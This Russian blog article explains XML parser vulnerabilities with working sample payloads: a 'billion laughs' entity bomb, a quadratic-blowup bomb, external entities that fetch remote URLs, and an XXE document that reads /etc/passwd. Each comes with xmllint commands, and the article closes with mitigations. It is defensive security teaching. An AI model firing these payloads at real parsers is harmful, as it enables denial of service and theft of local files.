Как сделать бомбу из XML

от автора

В рассылке oss-security было опубликовано обсуждение различных уязвимостей, связанных с разбором XML. Уязвимостям подвержены приложения, которые разрешают библиотекам обрабатывать именованные и внешние сущности в DTD, встроенном в XML-документ, полученный из недоверенного источника. Т.е. по сути — приложения, не изменяющие настроек парсера по умолчанию.

Примеры XML-бомб под катом. Если у вас есть приложения, обрабатывающие XML, вы можете самостоятельно проверить их на предмет наличия уязвимостей. Проверка бомб в этом посте производится на примере утилиты xmllint, входящей в комплект поставки библиотеки libxml2, но можно использовать и другие синтаксические анализаторы.

Теория

Стандарт XML разрешает XML-документам использовать DTD для определения допустимых конструкций из вложенных тегов и атрибутов. DTD может быть либо представлен в виде ссылки на внешний источник, либо полностью определяться внутри самого документа. Пример документа со встроенным DTD:

<!DOCTYPE greeting [   <!ELEMENT greeting (#PCDATA)> ]> <greeting>Hello, world!</greeting> 

В DTD, помимо элементов и атрибутов, можно определять сущности. Пример документа, использующего именованные сущности:

<!DOCTYPE greeting [   <!ENTITY target "world">   <!ELEMENT greeting (#PCDATA)> ]> <greeting>Hello, &target;!</greeting> 

Проверить этот документ на валидность и раскрыть сущности можно так:

$ xmllint --noent --valid hello.xml

Экспоненциальное раздувание сущностей

Именованные сущности могут раскрываться не только в символьные строки, но и в последовательности других сущностей. Рекурсия запрещена стандартом, но ограничений на допустимую глубину вложенности нет. Это позволяет добиться компактного представления очень длинных текстовых строк (аналогично тому, как это делают архиваторы) и составляет основу атаки «billion laughs», известной с 2003 года.

<!DOCTYPE bomb [  <!ENTITY a "1234567890" >  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">  <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">  <!ELEMENT bomb (#PCDATA)> ]> <bomb>&d;</bomb> 

Современные XML-парсеры содержат защиту от такой атаки. Например, libxml2 по умолчанию отказывается разбирать этот документ, несмотря на его строгое соответствие стандарту:

$ xmllint --noent --valid bomb1.xml Entity: line 1: parser error : Detected an entity reference loop &c;&c;&c;&c;&c;&c;&c;&c;    ^ bomb1.xml:8: parser error : Detected an entity reference loop <bomb>&d;</bomb>          ^ 

Чтобы таки увидеть, насколько он раздувается при раскрытии сущностей, надо явно отключить защиту от этой атаки:

$ xmllint --noent --valid --huge bomb1.xml | wc -c 5344

Очевидно, добавление новой сущности по аналогии с уже приведенными раздувает выходной поток примерно во столько раз, сколько ссылок на предыдущую сущность содержится в добавляемой. Входной документ при этом увеличивается на количество байт, пропорциональное этому количеству ссылок. Т.е. имеет место экспоненциальная зависимость между размерами входного XML-документа и выходного потока символов.

Маленький XML-документ может вызвать непропорционально большое потребление ресурсов (таких как ОЗУ и время процессора) для задачи его разбора до тегов и символьных строк. Перед нами типичная DoS-атака, основанная на существенном различии сложности используемого алгоритма в типичном и худшем случае.

Квадратичное раздувание сущностей

Как мы уже видели, некоторые библиотеки для борьбы с атакой «billion laughs» вводят жесткое искусственное ограничение на глубину дерева именованных сущностей. Такое ограничение действительно позволяет предотвратить экспоненциальную зависимость между объемом входного XML-файла и выходного потока символов. Однако, для взломщика, стремящегося израсходовать все ресурсы сервера сравнительно небольшим XML-документом, наличие экспоненциальной зависимости между этими величинами не нужно. Квадратичная зависимость вполне сойдет, а для нее достаточно одного уровня именованных сущностей. Будем просто повторять одну длинную сущность много раз:

<!DOCTYPE bomb [  <!ENTITY x "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...x" >  <!ELEMENT bomb (#PCDATA)> ]> <bomb>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...&x;</bomb> 
$ xmllint --huge --noent --valid bomb2.xml | wc -c 1868

Опция —huge добавлена на случай, ваша версия libxml2 посчитает, что приведенный пример является атакой. Этому ее научили этим коммитом, т.е. на момент публикации поста соответствующее изменение не успело попасть в релиз.

Внешние сущности

Стандарт XML содержит возможность получать значения сущностей не только из готовых строк, но и путем обращения к внешним ресурсам, например, по протоколу HTTP. Это открывает для атакующего, имеющего доступ к парсеру XML на сервере-зомби, возможность сканировать порты и даже организовывать DoS-атаки на другие сервера, скрывая свой IP-адрес. Вот этот XML-файл при попытке его разобрать парсером, поддерживающим внешние сущности, создаст три запроса к RSS-потокам Хабра:

<!DOCTYPE bomb [  <!ENTITY a1 SYSTEM "http://habrahabr.ru/rss/best/" >  <!ENTITY a2 SYSTEM "http://habrahabr.ru/rss/hubs/" >  <!ENTITY a3 SYSTEM "http://habrahabr.ru/rss/qa/" >  <!ELEMENT author ANY>  <!ELEMENT blockquote ANY>  <!ELEMENT category ANY>  <!ELEMENT channel ANY>  <!ELEMENT code ANY>  <!ELEMENT description ANY>  <!ELEMENT generator ANY>  <!ELEMENT guid ANY>  <!ATTLIST guid isPermaLink CDATA #IMPLIED>  <!ELEMENT h3 ANY>  <!ELEMENT i ANY>  <!ELEMENT image ANY>  <!ELEMENT item ANY>  <!ELEMENT language ANY>  <!ELEMENT lastBuildDate ANY>  <!ELEMENT link ANY>  <!ELEMENT managingEditor ANY>  <!ELEMENT pre ANY>  <!ELEMENT pubDate ANY>  <!ELEMENT rss ANY>  <!ATTLIST rss version CDATA #IMPLIED>  <!ELEMENT title ANY>  <!ELEMENT url ANY>  <!ELEMENT bomb ANY> ]> <bomb>&a1;&a2;&a3;</bomb> 
$ xmllint --noent --noout --load-trace bomb3.xml

В примере выше можно запретить парсеру читать сущности из сети путем передачи ключа —nonet.

Тем же способом можно заставить уязвимое приложение читать локальные файлы с секретной информацией вроде пароля для базы данных. К сожалению, здесь —nonet не помогает:

<!DOCTYPE bomb [  <!ENTITY passwd SYSTEM "file:///etc/passwd" >  <!ELEMENT bomb (#PCDATA)> ]> <bomb>&passwd;</bomb> 
$ xmllint --noent --nonet --valid bomb4.xml

Подобный тип атак называется XXE (от XML eXternal Entity). Один из недавних примеров — уязвимость в PostgreSQL, CVE-2012-3489.

Заключение

Теперь поговорим о предотвращении таких атак.

Само собой, необходимо использовать версии библиотек, в которых приняты контрмеры против этих и других уязвимостей. Необходимо явно ограничивать ресурсы, затраченные на разбор XML-документа. Например, для libxml2 это можно сделать, вызвав xmlMemSetup() и передав свои собственные функции управления памятью, которые просто не дадут выделить слишком много. Необходимо также ограничить доступ к внешним ресурсам, например, путем написания собственного загрузчика сущностей.

Есть, однако, мнение, что все меры, перечисленные выше, нацелены на симптомы, а не на суть перечисленных уязвимостей. Действительно, откуда вообще в вашем приложении взялась задача разбора XML-документа согласно DTD, упоминающемуся (или содержащемуся) в нем самом? Не будет ли более правильной задача разбора этого XML-документа согласно правилам вашего приложения? Ведь вы же проверяете валидность данных в HTML-форме согласно регулярным выражениям, находящимся в коде ее обработчика, а не пришедшим вместе с данными формы. Соответственно, вам хватит не использующего DTD (а значит, невалидирующего) XML-парсера, в который заранее загружены нужные сущности.

ссылка на оригинал статьи http://habrahabr.ru/post/170333/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *